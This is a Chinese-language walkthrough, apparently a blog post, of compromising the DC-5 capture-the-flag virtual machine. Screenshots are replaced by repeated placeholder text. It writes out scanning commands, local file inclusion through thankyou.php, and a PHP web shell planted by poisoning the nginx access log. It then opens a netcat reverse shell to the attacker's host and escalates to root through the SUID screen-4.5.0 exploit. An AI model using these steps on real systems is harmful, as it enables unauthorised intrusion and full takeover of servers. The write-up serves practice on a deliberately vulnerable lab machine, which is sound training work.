仅供个人娱乐

靶机信息

下载地址:http://www.five86.com/downloads/DC-5.zip

一、主机扫描

arp-scan -l

nmap -p 1-65535 -A  -sV 192.168.17.131

DC-5靶机

二、信息收集

DC-5靶机
DC-5靶机
DC-5靶机
DC-5靶机

dirb http://192.168.17.131 /usr/share/wordlists/dirb/big.txt

DC-5靶机

用kali自带工具wfuzz(自带字典)扫描文件

cd /usr/share/wordlists/wfuzz/general

wfuzz -w /usr/share/wordlists/wfuzz/general/test.txt http://192.168.17.131/FUZZ.php

DC-5靶机

三、漏洞利用

DC-5靶机
DC-5靶机

利用文件包含

DC-5靶机
DC-5靶机

远程文件包含

DC-5靶机
DC-5靶机

 

DC-5靶机

日志

http://192.168.25.135/thankyou.php?file=/var/log/nginx/access.log 

http://192.168.17.131/thankyou.php?file=/var/log/nginx/error.log 

DC-5靶机
DC-5靶机
DC-5靶机

重置靶机 ip 换为http://192.168.17.132

写入一句话

GET <?php system($_GET['cmd']); ?> HTTP/1.1

DC-5靶机
DC-5靶机

http://192.168.17.132/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.17.129 8888

root@kali:~/桌面# nc -lvvp 8888

DC-5靶机

或者使用

GET /thankyou.php?file=<?php @eval($_REQUEST[cmd]);?> HTTP/1.1

DC-5靶机
DC-5靶机
DC-5靶机
DC-5靶机

python -c 'import pty;pty.spawn("/bin/bash")'

DC-5靶机

查找www-data用户具有suid权限的命令

find / -perm -4000 2>/dev/null

DC-5靶机

发现命令   /bin/screen-4.5.0

DC-5靶机
DC-5靶机

根据内容进行编译 直接上传出现问题,在kali编译在蚁剑上传

root@kali:/tmp# vi libhax.c

root@kali:/tmp# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

root@kali:/tmp# rm -f /tmp/libhax.c

root@kali:/tmp# vi rootshell.c

root@kali:/tmp# gcc -o /tmp/rootshell /tmp/rootshell.c

root@kali:/tmp# rm -f /tmp/rootshell.c

DC-5靶机

蚁剑上传

DC-5靶机

或者使用

scp root@192.168.17.129:/tmp/libhax.so /tmp/

scp root@192.168.17.129:/tmp/rootshell /tmp/

继续按照脚本

DC-5靶机

将41154.sh中剩下部分代码另存为dc5.sh脚本文件

并在保存dc5.sh文件输入:set ff=unix ,否则在执行脚本文件时后出错

DC-5靶机
DC-5靶机

www-data@dc-5:/tmp$ chmod+x toroot.sh

www-data@dc-5:/tmp$./toroot.sh

相关文章:

  • 2022-01-11
  • 2021-06-26
  • 2021-07-07
  • 2021-09-27
  • 2021-06-08
  • 2021-10-06
  • 2021-10-15
猜你喜欢
  • 2021-11-09
  • 2021-05-22
  • 2021-04-13
  • 2021-06-01
  • 2021-08-26
  • 2021-07-17
相关资源
相似解决方案